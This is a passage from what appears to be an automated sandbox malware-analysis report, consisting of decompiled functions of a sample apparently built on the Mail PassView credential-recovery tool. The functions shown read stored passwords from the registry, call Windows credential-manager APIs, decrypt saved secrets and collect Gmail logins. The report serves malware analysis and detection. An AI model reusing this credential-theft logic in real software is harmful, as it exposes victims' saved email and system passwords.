                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,000000FF,00000000,00000000), ref: 0040D812
                                                                                                              • LocalFree.KERNEL32(?), ref: 0040D825
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040D830
                                                                                                              • RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040D847
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040D858
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseOpen$ByteCharEnumFreeLocalMultiQueryValueWidememset
                                                                                                              • String ID: %GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd$Creds$ps:password
                                                                                                              • API String ID: 551151806-1288872324
                                                                                                              • Opcode ID: d3552b054e42a9a62031a540664540df19a8533d219857e9c55738ce323a5c80
                                                                                                              • Instruction ID: ba0b8c8cecfa7ea512c31dd79fcda3fb233e403caecda4e29e00fc0c4110e127
                                                                                                              • Opcode Fuzzy Hash: d3552b054e42a9a62031a540664540df19a8533d219857e9c55738ce323a5c80
                                                                                                              • Instruction Fuzzy Hash: 864129B2900209AFDB11DF95DD84EEFBBBCEB48344F0041A6FA15E2150DA749A94CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004080A3 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 86windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 56%
                                                                                                              			E004080A3(void* __ecx, void* __edi, void* __eflags, struct HINSTANCE__* _a4, intOrPtr _a8, CHAR* _a12) {
				void _v4103;
				char _v4104;
				char _t30;
				struct HMENU__* _t32;
				char _t39;
				void* _t42;
				struct HWND__* _t43;
				struct HMENU__* _t48;

				_t42 = __edi;
				_t38 = __ecx;
				E004118A0(0x1004, __ecx);
				_t55 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t39 =  *0x417488;
						__eflags = _t39;
						if(_t39 == 0) {
							L8:
							_push(_t42);
							sprintf(0x4172c0, "dialog_%d", _a12);
							_t43 = CreateDialogParamA(_a4, _a12, 0, E0040809E, 0);
							_v4104 = 0;
							memset( &_v4103, 0, 0x1000);
							GetWindowTextA(_t43,  &_v4104, 0x1000);
							__eflags = _v4104;
							if(__eflags != 0) {
								E00407E55(__eflags, "caption",  &_v4104);
							}
							EnumChildWindows(_t43, E00407FEB, 0);
							DestroyWindow(_t43);
						} else {
							while(1) {
								_t30 =  *_t39;
								__eflags = _t30;
								if(_t30 == 0) {
									goto L8;
								}
								__eflags = _t30 - _a12;
								if(_t30 != _a12) {
									_t39 = _t39 + 4;
									__eflags = _t39;
									continue;
								}
								goto L11;
							}
							goto L8;
						}
						L11:
					}
				} else {
					sprintf(0x4172c0, "menu_%d", _a12);
					_t32 = LoadMenuA(_a4, _a12);
					 *0x4171b4 =  *0x4171b4 & 0x00000000;
					_t48 = _t32;
					_push(1);
					_push(_t48);
					_push(_a12);
					E00407EFB(_t38, _t55);
					DestroyMenu(_t48);
				}
				return 1;
			}











                                                                                                              0x004080a3
                                                                                                              0x004080a3
                                                                                                              0x004080ab
                                                                                                              0x004080b0
                                                                                                              0x004080b5
                                                                                                              0x004080fb
                                                                                                              0x004080ff
                                                                                                              0x00408105
                                                                                                              0x0040810e
                                                                                                              0x00408110
                                                                                                              0x00408126
                                                                                                              0x00408126
                                                                                                              0x00408134
                                                                                                              0x00408155
                                                                                                              0x0040815f
                                                                                                              0x00408165
                                                                                                              0x00408176
                                                                                                              0x0040817c
                                                                                                              0x00408182
                                                                                                              0x00408190
                                                                                                              0x00408196
                                                                                                              0x0040819e
                                                                                                              0x004081a5
                                                                                                              0x00408112
                                                                                                              0x00408120
                                                                                                              0x00408120
                                                                                                              0x00408122
                                                                                                              0x00408124
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00408114
                                                                                                              0x00408117
                                                                                                              0x0040811d
                                                                                                              0x0040811d
                                                                                                              0x00000000
                                                                                                              0x0040811d
                                                                                                              0x00000000
                                                                                                              0x00408117
                                                                                                              0x00000000
                                                                                                              0x00408120
                                                                                                              0x004081ac
                                                                                                              0x004081ac
                                                                                                              0x004080b7
                                                                                                              0x004080c4
                                                                                                              0x004080d2
                                                                                                              0x004080d8
                                                                                                              0x004080df
                                                                                                              0x004080e1
                                                                                                              0x004080e3
                                                                                                              0x004080e4
                                                                                                              0x004080e7
                                                                                                              0x004080f0
                                                                                                              0x004080f0
                                                                                                              0x004081b2

                                                                                                              APIs
                                                                                                              • sprintf.MSVCRT ref: 004080C4
                                                                                                              • LoadMenuA.USER32 ref: 004080D2
                                                                                                                • Part of subcall function 00407EFB: GetMenuItemCount.USER32(?), ref: 00407F10
                                                                                                                • Part of subcall function 00407EFB: memset.MSVCRT ref: 00407F31
                                                                                                                • Part of subcall function 00407EFB: GetMenuItemInfoA.USER32 ref: 00407F6C
                                                                                                                • Part of subcall function 00407EFB: strchr.MSVCRT ref: 00407F83
                                                                                                              • DestroyMenu.USER32 ref: 004080F0
                                                                                                              • sprintf.MSVCRT ref: 00408134
                                                                                                              • CreateDialogParamA.USER32(?,00000000,00000000,0040809E,00000000), ref: 00408149
                                                                                                              • memset.MSVCRT ref: 00408165
                                                                                                              • GetWindowTextA.USER32(00000000,?,00001000), ref: 00408176
                                                                                                              • EnumChildWindows.USER32 ref: 0040819E
                                                                                                              • DestroyWindow.USER32 ref: 004081A5
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Menu$DestroyItemWindowmemsetsprintf$ChildCountCreateDialogEnumInfoLoadParamTextWindowsstrchr
                                                                                                              • String ID: caption$dialog_%d$menu_%d
                                                                                                              • API String ID: 3259144588-3822380221
                                                                                                              • Opcode ID: 6243cf7790bf93336ac36a7af399e3403135f66e693ef013e884cab4c931bc33
                                                                                                              • Instruction ID: 30012a8f5e5a5bdbe68f816da8837f1ba63c4ed8b40bd3c0dd12f77501d21500
                                                                                                              • Opcode Fuzzy Hash: 6243cf7790bf93336ac36a7af399e3403135f66e693ef013e884cab4c931bc33
                                                                                                              • Instruction Fuzzy Hash: 14212172544248BBDB22AF60DD41EEF3B78EF05305F00407AFA41A2190DABC9DA58B6D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E056 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040E056() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x417514 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleA("kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x416fe0 = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x416fd8 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x416fd4 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x416e6c = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x416fcc = _t2;
								if(_t2 != 0) {
									 *0x417514 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}






                                                                                                              0x0040e05d
                                                                                                              0x0040e0d9
                                                                                                              0x0040e0d9
                                                                                                              0x0040e065
                                                                                                              0x0040e06b
                                                                                                              0x0040e06f
                                                                                                              0x0040e0d8
                                                                                                              0x00000000
                                                                                                              0x0040e0d8
                                                                                                              0x0040e07e
                                                                                                              0x0040e082
                                                                                                              0x0040e087
                                                                                                              0x0040e08f
                                                                                                              0x0040e093
                                                                                                              0x0040e098
                                                                                                              0x0040e0a0
                                                                                                              0x0040e0a4
                                                                                                              0x0040e0a9
                                                                                                              0x0040e0b1
                                                                                                              0x0040e0b5
                                                                                                              0x0040e0ba
                                                                                                              0x0040e0c2
                                                                                                              0x0040e0c6
                                                                                                              0x0040e0cb
                                                                                                              0x0040e0cd
                                                                                                              0x0040e0cd
                                                                                                              0x0040e0cb
                                                                                                              0x0040e0ba
                                                                                                              0x0040e0a9
                                                                                                              0x0040e098
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • GetModuleHandleA.KERNEL32(kernel32.dll,?,0040DD19), ref: 0040E065
                                                                                                              • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot,74EDCFBC), ref: 0040E07E
                                                                                                              • GetProcAddress.KERNEL32(00000000,Module32First), ref: 0040E08F
                                                                                                              • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0040E0A0
                                                                                                              • GetProcAddress.KERNEL32(00000000,Process32First), ref: 0040E0B1
                                                                                                              • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040E0C2
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$HandleModule
                                                                                                              • String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
                                                                                                              • API String ID: 667068680-3953557276
                                                                                                              • Opcode ID: 5922207fa155356ca208c5dc00e328b28cc838d796c506d44ffc4ba24ef585aa
                                                                                                              • Instruction ID: 921299a9b586d994e9bf5e85ab2a2688844625279e80e39ff2614b99c2d6d575
                                                                                                              • Opcode Fuzzy Hash: 5922207fa155356ca208c5dc00e328b28cc838d796c506d44ffc4ba24ef585aa
                                                                                                              • Instruction Fuzzy Hash: 8DF06D70A45222A9C320CB266D00FFA3DA85A44B81B15843BE900F1694DBF8D5528B7C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00404647 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 41libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00404647(struct HINSTANCE__** __eax, void* __edi, void* __eflags) {
				void* __esi;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__** _t23;

				_t23 = __eax;
				E004046C2(__eax);
				_t12 = LoadLibraryA("advapi32.dll");
				 *_t23 = _t12;
				if(_t12 != 0) {
					_t23[2] = GetProcAddress(_t12, "CredReadA");
					_t23[3] = GetProcAddress( *_t23, "CredFree");
					_t23[4] = GetProcAddress( *_t23, "CredDeleteA");
					_t23[5] = GetProcAddress( *_t23, "CredEnumerateA");
					_t23[6] = GetProcAddress( *_t23, "CredEnumerateW");
					if(_t23[2] == 0 || _t23[3] == 0) {
						E004046C2(_t23);
					} else {
						_t23[1] = 1;
					}
				}
				return _t23[1];
			}






                                                                                                              0x00404648
                                                                                                              0x0040464a
                                                                                                              0x00404654
                                                                                                              0x0040465c
                                                                                                              0x0040465e
                                                                                                              0x00404676
                                                                                                              0x00404682
                                                                                                              0x0040468e
                                                                                                              0x0040469a
                                                                                                              0x004046a3
                                                                                                              0x004046a7
                                                                                                              0x004046b8
                                                                                                              0x004046af
                                                                                                              0x004046af
                                                                                                              0x004046af
                                                                                                              0x004046a7
                                                                                                              0x004046c1

                                                                                                              APIs
                                                                                                                • Part of subcall function 004046C2: FreeLibrary.KERNEL32(?,0040464F,?,0040D601,80000001,751B485B), ref: 004046C9
                                                                                                              • LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404654
                                                                                                              • GetProcAddress.KERNEL32(00000000,CredReadA,00000000), ref: 0040466D
                                                                                                              • GetProcAddress.KERNEL32(?,CredFree), ref: 00404679
                                                                                                              • GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00404685
                                                                                                              • GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00404691
                                                                                                              • GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 0040469D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$Library$FreeLoad
                                                                                                              • String ID: CredDeleteA$CredEnumerateA$CredEnumerateW$CredFree$CredReadA$advapi32.dll
                                                                                                              • API String ID: 2449869053-4258758744
                                                                                                              • Opcode ID: 1dbd091348eef99b9c60bfcaa5dda145de35d3414d0ae1ecd7a3a02af1b4a616
                                                                                                              • Instruction ID: 1c6fa8d05b29e269fad2443f962c2e8eb3052cc88d23d174a3c6f0c0958544ff
                                                                                                              • Opcode Fuzzy Hash: 1dbd091348eef99b9c60bfcaa5dda145de35d3414d0ae1ecd7a3a02af1b4a616
                                                                                                              • Instruction Fuzzy Hash: 380121705447009AC730AF75CD08B46BAF4EF85704F218D2EE281A3690E7BE9491DF88
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411015 Relevance: 19.7, APIs: 12, Strings: 1, Instructions: 202stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 76%
                                                                                                              			E00411015(void* __ecx, signed int __edx, void* __eflags, signed int _a4, intOrPtr _a8, char* _a12, signed int* _a16) {
				void _v8;
				void _v12;
				void _v24;
				char _v39;
				void _v40;
				char _v132;
				void _v1156;
				void _v1172;
				char _v1180;
				void _v1187;
				char _v1188;
				void _v2228;
				void _v2243;
				void _v2244;
				void _v3267;
				char _v3268;
				void _v4291;
				char _v4292;
				char _v5340;
				void _v5347;
				char _v5348;
				char _v6116;
				char _v7136;
				void _v7140;
				void* __edi;
				void* __esi;
				int _t86;
				void* _t109;
				void* _t122;
				void* _t135;
				char _t156;
				signed char _t168;
				signed int _t171;
				intOrPtr _t177;
				signed int _t183;
				void* _t185;

				_t171 = __edx;
				E004118A0(0x1be4, __ecx);
				_t156 = 0;
				_v3268 = 0;
				memset( &_v3267, 0, 0x3ff);
				_a8 = E00410E8A(_a8,  &_v3268);
				_t86 = strlen(_a4);
				_v8 = _t86;
				if(_a8 > 4) {
					_t193 = _t86;
					if(_t86 > 0) {
						asm("movsd");
						asm("movsd");
						asm("movsb");
						_v2244 = 0;
						memset( &_v2243, 0, 0x41e);
						_v1188 = 0;
						memset( &_v1187, 0, 0x41e);
						_v5348 = 0;
						memset( &_v5347, 0, 0x41e);
						_v40 = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosw");
						asm("stosb");
						_v4292 = 0;
						memset( &_v4291, 0, 0x3ff);
						E0040BC49( &_v132);
						E0040BC6D(_v8,  &_v132, _a4);
						_t181 =  &_v132;
						E0040BD0B( &_v39,  &_v132,  &_v2244);
						memcpy( &_v2228,  &_v24, 8);
						E0040BC49( &_v132);
						_push( &_v2244);
						_t109 = 0x18;
						E0040BC6D(_t109,  &_v132);
						E0040BD0B( &_v39, _t181,  &_v1188);
						memcpy( &_v1172,  &_v2244, 0x10);
						memcpy( &_v1156,  &_v24, 8);
						E0040BC49(_t181);
						_push( &_v1188);
						_t122 = 0x28;
						E0040BC6D(_t122, _t181);
						E0040BD0B( &_v39, _t181,  &_v5348);
						E0040535A( &_v6116, _t193,  &_v1180,  &_v5348);
						E004053D6( &_v5340,  &_v1188,  &_v4292,  &_v6116);
						_t177 = _a8;
						asm("cdq");
						_t183 = _t177 + (_t171 & 0x00000007) >> 3;
						_a4 = 0;
						if(_t183 > 0) {
							do {
								E004053D6(_t185 + (_a4 << 3) - 0xcc0,  &_v6116, _t185 + (_a4 << 3) - 0x10b8,  &_v6116);
								_a4 =  &(_a4[1]);
							} while (_a4 < _t183);
							_t177 = _a8;
						}
						_t135 = 0;
						if(_t177 > _t156) {
							do {
								_t168 =  *(_t185 + _t135 - 0x10c0) ^  *(_t185 + _t135 - 0xcc0);
								_t135 = _t135 + 1;
								 *(_t185 + _t135 - 0x1be1) = _t168;
							} while (_t135 < _t177);
						}
						 *((char*)(_t185 + _t177 - 0x1be0)) = _t156;
						strcpy(_a12,  &_v7136);
						E0040BC49( &_v132);
						_t67 = _t177 - 4; // 0x0
						E0040BC6D(_t67,  &_v132, _a12);
						E0040BD0B(_t177,  &_v132,  &_v40);
						memcpy( &_v8,  &_v40, 4);
						memcpy( &_v12,  &_v7140, 4);
						_t156 = 1;
						 *_a16 = 0 | _v8 == _v12;
					}
				}
				return _t156;
			}







































                                                                                                              0x00411015
                                                                                                              0x0041101d
                                                                                                              0x00411025
                                                                                                              0x00411034
                                                                                                              0x0041103a
                                                                                                              0x00411053
                                                                                                              0x00411056
                                                                                                              0x00411060
                                                                                                              0x00411063
                                                                                                              0x00411069
                                                                                                              0x0041106b
                                                                                                              0x00411079
                                                                                                              0x0041107a
                                                                                                              0x0041107b
                                                                                                              0x0041108a
                                                                                                              0x00411090
                                                                                                              0x0041109e
                                                                                                              0x004110a4
                                                                                                              0x004110b2
                                                                                                              0x004110b8
                                                                                                              0x004110bf
                                                                                                              0x004110c5
                                                                                                              0x004110c6
                                                                                                              0x004110c7
                                                                                                              0x004110c8
                                                                                                              0x004110cf
                                                                                                              0x004110d8
                                                                                                              0x004110de
                                                                                                              0x004110e6
                                                                                                              0x004110f4
                                                                                                              0x00411100
                                                                                                              0x00411103
                                                                                                              0x00411115
                                                                                                              0x0041111f
                                                                                                              0x0041112a
                                                                                                              0x0041112d
                                                                                                              0x00411130
                                                                                                              0x0041113c
                                                                                                              0x00411151
                                                                                                              0x00411163
                                                                                                              0x0041116a
                                                                                                              0x00411175
                                                                                                              0x00411178
                                                                                                              0x0041117b
                                                                                                              0x00411187
                                                                                                              0x004111a6
                                                                                                              0x004111be
                                                                                                              0x004111c3
                                                                                                              0x004111c8
                                                                                                              0x004111d0
                                                                                                              0x004111d8
                                                                                                              0x004111db
                                                                                                              0x004111dd
                                                                                                              0x004111f8
                                                                                                              0x004111fd
                                                                                                              0x00411203
                                                                                                              0x00411206
                                                                                                              0x00411206
                                                                                                              0x00411209
                                                                                                              0x0041120d
                                                                                                              0x0041120f
                                                                                                              0x00411216
                                                                                                              0x0041121d
                                                                                                              0x00411220
                                                                                                              0x00411220
                                                                                                              0x0041120f
                                                                                                              0x00411233
                                                                                                              0x0041123a
                                                                                                              0x00411242
                                                                                                              0x0041124a
                                                                                                              0x00411250
                                                                                                              0x0041125c
                                                                                                              0x0041126b
                                                                                                              0x0041127d
                                                                                                              0x00411295
                                                                                                              0x00411296
                                                                                                              0x00411296
                                                                                                              0x0041106b
                                                                                                              0x0041129e

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0041103A
                                                                                                                • Part of subcall function 00410E8A: strlen.MSVCRT ref: 00410E97
                                                                                                              • strlen.MSVCRT ref: 00411056
                                                                                                              • memset.MSVCRT ref: 00411090
                                                                                                              • memset.MSVCRT ref: 004110A4
                                                                                                              • memset.MSVCRT ref: 004110B8
                                                                                                              • memset.MSVCRT ref: 004110DE
                                                                                                                • Part of subcall function 0040BC6D: memcpy.MSVCRT ref: 0040BCFE
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD2A
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD40
                                                                                                                • Part of subcall function 0040BD0B: memcpy.MSVCRT ref: 0040BD77
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD81
                                                                                                              • memcpy.MSVCRT ref: 00411115
                                                                                                                • Part of subcall function 0040BC6D: memcpy.MSVCRT ref: 0040BCB0
                                                                                                                • Part of subcall function 0040BC6D: memcpy.MSVCRT ref: 0040BCDA
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD52
                                                                                                              • memcpy.MSVCRT ref: 00411151
                                                                                                              • memcpy.MSVCRT ref: 00411163
                                                                                                              • strcpy.MSVCRT(?,?), ref: 0041123A
                                                                                                              • memcpy.MSVCRT ref: 0041126B
                                                                                                              • memcpy.MSVCRT ref: 0041127D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpymemset$strlen$strcpy
                                                                                                              • String ID: salu
                                                                                                              • API String ID: 2660478486-4177317985
                                                                                                              • Opcode ID: ae1d07347fa3aa89f5fcc6141a6fc90f028ff7b9ab687112944546eff88cf5b8
                                                                                                              • Instruction ID: 480a48fc981763c339c301d1addb7ab339a070bf665ce532ed27993edd9122c1
                                                                                                              • Opcode Fuzzy Hash: ae1d07347fa3aa89f5fcc6141a6fc90f028ff7b9ab687112944546eff88cf5b8
                                                                                                              • Instruction Fuzzy Hash: A4717F7190011DAADB10EBA9CC819DEB7BDFF08348F1445BAF609E7151DB749B888F94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403E87 Relevance: 19.6, APIs: 7, Strings: 6, Instructions: 98stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 81%
                                                                                                              			E00403E87(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr* _v8;
				char _v76;
				void _v1099;
				char _v1100;
				void _v2123;
				char _v2124;
				void _v3147;
				char _v3148;
				char _v4172;
				void* __ebx;
				void* __esi;
				void* _t36;
				void* _t37;
				void* _t48;
				void* _t55;
				intOrPtr* _t56;
				signed int _t58;
				intOrPtr* _t63;
				void* _t70;
				void* _t71;

				_t56 = __ecx;
				E004118A0(0x1048, __ecx);
				_t63 = _t56;
				_v8 = _t63;
				E00405EFD(_a4, "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\r\n");
				_v1100 = 0;
				memset( &_v1099, 0, 0x3ff);
				_v3148 = 0;
				memset( &_v3147, 0, 0x3ff);
				_v2124 = 0;
				memset( &_v2123, 0, 0x3ff);
				_t71 = _t70 + 0x2c;
				if( *0x417308 != 0) {
					sprintf( &_v3148, "<meta http-equiv=\'content-type\' content=\'text/html;charset=%s\'>", 0x417308);
					_t71 = _t71 + 0xc;
				}
				if( *0x417304 != 0) {
					strcpy( &_v1100, "<table dir=\"rtl\"><tr><td>\r\n");
				}
				_t36 =  *((intOrPtr*)( *_t63 + 0x1c))();
				_t58 = 0x10;
				_push(_t36);
				_t37 = memcpy( &_v76, "<html><head>%s<title>%s</title></head>\r\n<body>\r\n%s <h3>%s</h3>\r\n", _t58 << 2);
				asm("movsb");
				sprintf( &_v4172,  &_v76,  &_v3148, _t37,  &_v1100);
				E00405EFD(_a4,  &_v4172);
				_push("Mail PassView");
				_t55 = 6;
				_push(E004078FF(_t55));
				sprintf( &_v2124, "<br><h4>%s <a href=\"http://www.nirsoft.net/\" target=\"newwin\">%s</a></h4><p>");
				_t48 = E00405EFD(_a4,  &_v2124);
				_t78 = _a8 - 4;
				if(_a8 == 4) {
					return E004097E6(_v8, _t78, _a4);
				}
				return _t48;
			}























                                                                                                              0x00403e87
                                                                                                              0x00403e8f
                                                                                                              0x00403e9f
                                                                                                              0x00403ea1
                                                                                                              0x00403ea4
                                                                                                              0x00403eb9
                                                                                                              0x00403ebf
                                                                                                              0x00403ecd
                                                                                                              0x00403ed3
                                                                                                              0x00403ee1
                                                                                                              0x00403ee7
                                                                                                              0x00403eec
                                                                                                              0x00403ef5
                                                                                                              0x00403f08
                                                                                                              0x00403f0d
                                                                                                              0x00403f0d
                                                                                                              0x00403f16
                                                                                                              0x00403f24
                                                                                                              0x00403f2a
                                                                                                              0x00403f2f
                                                                                                              0x00403f34
                                                                                                              0x00403f35
                                                                                                              0x00403f3e
                                                                                                              0x00403f5a
                                                                                                              0x00403f5b
                                                                                                              0x00403f6a
                                                                                                              0x00403f72
                                                                                                              0x00403f79
                                                                                                              0x00403f7f
                                                                                                              0x00403f8c
                                                                                                              0x00403f9b
                                                                                                              0x00403fa3
                                                                                                              0x00403fa7
                                                                                                              0x00000000
                                                                                                              0x00403faf
                                                                                                              0x00403fb8

                                                                                                              APIs
                                                                                                                • Part of subcall function 00405EFD: strlen.MSVCRT ref: 00405F0A
                                                                                                                • Part of subcall function 00405EFD: WriteFile.KERNEL32(00412B1C,00000001,00000000,74EC1245,00000000), ref: 00405F17
                                                                                                              • memset.MSVCRT ref: 00403EBF
                                                                                                              • memset.MSVCRT ref: 00403ED3
                                                                                                              • memset.MSVCRT ref: 00403EE7
                                                                                                              • sprintf.MSVCRT ref: 00403F08
                                                                                                              • strcpy.MSVCRT(?,<table dir="rtl"><tr><td>), ref: 00403F24
                                                                                                              • sprintf.MSVCRT ref: 00403F5B
                                                                                                              • sprintf.MSVCRT ref: 00403F8C
                                                                                                              Strings
                                                                                                              • Mail PassView, xrefs: 00403F72
                                                                                                              • <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00403F36
                                                                                                              • <br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00403F86
                                                                                                              • <meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00403F02
                                                                                                              • <table dir="rtl"><tr><td>, xrefs: 00403F1E
                                                                                                              • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00403E97
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetsprintf$FileWritestrcpystrlen
                                                                                                              • String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$Mail PassView
                                                                                                              • API String ID: 1043021993-495024357
                                                                                                              • Opcode ID: 9ab723875cfdb90570c6b26727e8dc31f2cea9ea6bbea43a89162690f7ebea04
                                                                                                              • Instruction ID: b86957a5e19b08f75c710fe46d40d6f019605627493d012667a382a844d4f915
                                                                                                              • Opcode Fuzzy Hash: 9ab723875cfdb90570c6b26727e8dc31f2cea9ea6bbea43a89162690f7ebea04
                                                                                                              • Instruction Fuzzy Hash: A93196B2C40118BADB11EB55DC82EDE7BACEF44304F0045A7B60DA3151DE786FC88BA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00404288 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 100stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00404288(intOrPtr __ecx, void* __esi, void* __fp0, wchar_t** _a4) {
				intOrPtr _v8;
				char _v280;
				char _v408;
				intOrPtr _v412;
				char _v796;
				intOrPtr _v800;
				char _v928;
				char _v940;
				wchar_t* _t23;
				char* _t41;
				wchar_t** _t59;
				void* _t76;

				_t76 = __fp0;
				_t59 = _a4;
				_t23 =  *_t59;
				_v8 = __ecx;
				if(_t23 != 0 && _t59[1] != 0 && _t59[2] != 0 && wcsstr(_t23, L"www.google.com") != 0) {
					E004021D8( &_v940);
					_v800 = 7;
					_v412 = 3;
					WideCharToMultiByte(0, 0, _t59[1], 0xffffffff,  &_v408, 0x7f, 0, 0);
					WideCharToMultiByte(0, 0, _t59[2], 0xffffffff,  &_v280, 0x7f, 0, 0);
					strcpy( &_v928,  &_v408);
					strcpy( &_v796,  &_v408);
					if(strchr( &_v796, 0x40) == 0 && strlen( &_v408) + 0xa < 0x7f) {
						sprintf( &_v796, "%s@gmail.com",  &_v408);
					}
					_t41 = strchr( &_v928, 0x40);
					if(_t41 != 0) {
						 *_t41 = 0;
					}
